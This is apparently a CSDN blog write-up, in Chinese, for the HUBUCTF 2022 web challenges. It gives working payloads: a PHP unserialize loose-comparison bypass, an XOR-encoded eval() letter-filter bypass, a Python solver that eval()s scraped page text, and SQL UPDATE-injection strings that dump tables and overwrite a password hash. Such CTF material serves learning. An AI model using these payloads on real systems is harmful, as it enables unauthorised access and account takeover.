HUBUCTF 2022 新生赛-WEB部分wp

目录

checkin

HowToGetShell

Calculate

ezsql


checkin

源代码:

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

这里是两个==,根据php弱类型,bool值和任何字符串都为相等,即可以构造username和password的值为bool。可以构建username和password的数组,其值可为bool的ture值。代码为

<?php
$data=[
    'username'=>true,
    'password'=>true,
];
$p1=serialize($data);
echo $p1;
//$p2=unserialize($p1);
?>
    最后输出a:2:{s:8:"username";b:1;s:8:"password";b:1;}

payload:

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

HowToGetShell

源代码:

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

payload:

mess=$_="0302181"^"@[@[_^^";$_();

参考从一道CTF题目谈PHP中的命令执行-CSDN博客 

Calculate

python脚本(大佬那边拿来的)

import time

import requests
from lxml import etree

url = "http://node5.anna.nssctf.cn:28001/"
res1 = requests.session()

while True:
    res = res1.get(url)
    tree = etree.HTML(res.text)
    concat = ''
    divs = tree.xpath('/html/body/form/div/text()')
    del divs[-1]
    ans = concat.join(divs)
    print(ans)
    result = str(eval(ans))
    time.sleep(1)
    resp = res1.post(url=url, data={"ans": result})
    print(result)
    cnt = tree.xpath('/html/body/p[3]/text()')
    count = concat.join(cnt)
    print("cnt=====>", count)
    if "NSS" in resp.text:
        print(resp.text)
        break
    time.sleep(1)

ezsql

快速方法

账号:admin

密码:iamcool

常规方法

update注入

注册登入发现可以更新个人信息 其中age字段存在update注入,可通过描述字段查看所需信息

1.nickname=hhh&age=23, description=(select 1)%23	// 1
2.nickname=hhh&age=23, description=(select database())%23	// 查看数据库   demo2
3.nickname=hhh&age=23, description=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23	//查看表 users
4.nickname=hhh&age=23, description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)%23    //查看列 id,username,password,nickname,age,description		(注意此处users会导致更新错误 替换为url编码)
5.nickname=hhh&age=23, description=(select group_concat(password) users)%23	// 0cc175b9c0f1b6a831c399e269772661 为md5格式

 修改password

6. nickname=hhh&age=23, password=0x3230326362393632616335393037356239363462303731353264323334623730%23 // 0x32...30 == hex(md5('123'))

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值